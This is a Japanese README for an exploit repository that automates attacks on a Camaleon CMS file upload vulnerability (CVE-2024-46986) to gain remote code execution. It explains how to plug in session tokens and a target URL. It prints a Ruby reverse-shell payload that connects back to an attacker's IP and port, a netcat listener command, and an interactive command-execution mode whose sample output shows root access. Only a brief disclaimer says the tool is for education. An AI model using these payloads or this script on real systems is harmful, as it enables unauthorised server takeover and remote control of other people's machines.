
このリポジトリには、Camaleon CMS のファイルアップロード脆弱性の悪用を自動化する Python スクリプトが含まれています。この脆弱性により、攻撃者は任意のファイル(Ruby スクリプトなど)をサーバーにアップロードでき、リモートコード実行(RCE)やその他の深刻なセキュリティ影響につながる可能性があります。
requests ライブラリを使用してプロセス全体を自動化します。有効なユーザー認証情報: エクスプロイトが機能するには、認証済みセッションが必要です。有効なユーザーの auth_token と _cms_session が必要です。
Python 3.x: Python 3.x がインストールされていることを確認してください。
Python requests ライブラリ: まだインストールされていない場合は、requests ライブラリをインストールしてください。
pip install requests
リポジトリをクローンします:
bash
https://github.com/vidura2/CVE-2024-46986.git cd CVE-2024-46986
Python スクリプト内のプレースホルダー your_auth_token_here、your_session_token_here、https://target_site_here を実際の値に置き換えてください。
リバースシェルペイロードを使用する場合は、your_ip と your_port も、あなたの IP アドレスとリスナーをセットアップするポートに置き換えてください。
リバースシェル: リバースシェルをアップロードするには、スクリプト内の payload_type 変数を "reverse_shell" に設定します。
コマンド実行: システムコマンドを実行するスクリプトをアップロードするには、payload_type を "command_execution" に設定します。ターゲットサーバーで実行するコマンドを繰り返し入力できるようになります。
bash
python exploit_camaleon.py
コマンド実行ペイロードを使用する場合、複数のコマンドを入力できます:
bash
Enter a system command to execute (or type 'exit' to quit): whoami
Enter a system command to execute (or type 'exit' to quit): ls
Enter a system command to execute (or type 'exit' to quit): exit
ペイロードの種類
リバースシェルペイロードは攻撃者のマシンに接続を返し、サーバー上でのリモートコード実行を可能にします。
Python コード内の Ruby スクリプトで IP とポートを変更してください。
ペイロードの例:
ruby
require 'socket' s = TCPSocket.open('your_ip', your_port) while (cmd = s.gets) IO.popen(cmd, 'r') do |io| s.print io.read end end
netcat を使用して自分のマシンにリスナーをセットアップします:
bash
nc -lvnp <your_port>
2. コマンド実行
このペイロードは、サーバー上でシステムコマンド(例: whoami)を実行する Ruby スクリプトをアップロードします。実行中はコマンドを繰り返し入力できます。
スクリプトは exit と入力するまでコマンドを要求し続けます。
例:
ruby
system("whoami")
エクスプロイト成功の例
エクスプロイトが正常に実行されると、成功を示す出力がターミナルに表示されます:
python
Exploit executed successfully with payload type: reverse_shell!
リバースシェルを使用する場合、netcat リスナーから侵害されたサーバーのシェルにアクセスできます。
コマンド実行ペイロードの場合:
bash
Enter a system command to execute (or type 'exit' to quit): whoami Command 'whoami' executed successfully! Response: root
このスクリプトは教育目的のみを意図しています。作者は、このエクスプロイトによって引き起こされた誤用や損害について一切責任を負いません。脆弱性のテストや悪用を行う前に、必ず許可を得てください。 貢献
改善や追加機能のために、遠慮なく issue やプルリクエストを送信してください!
このプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。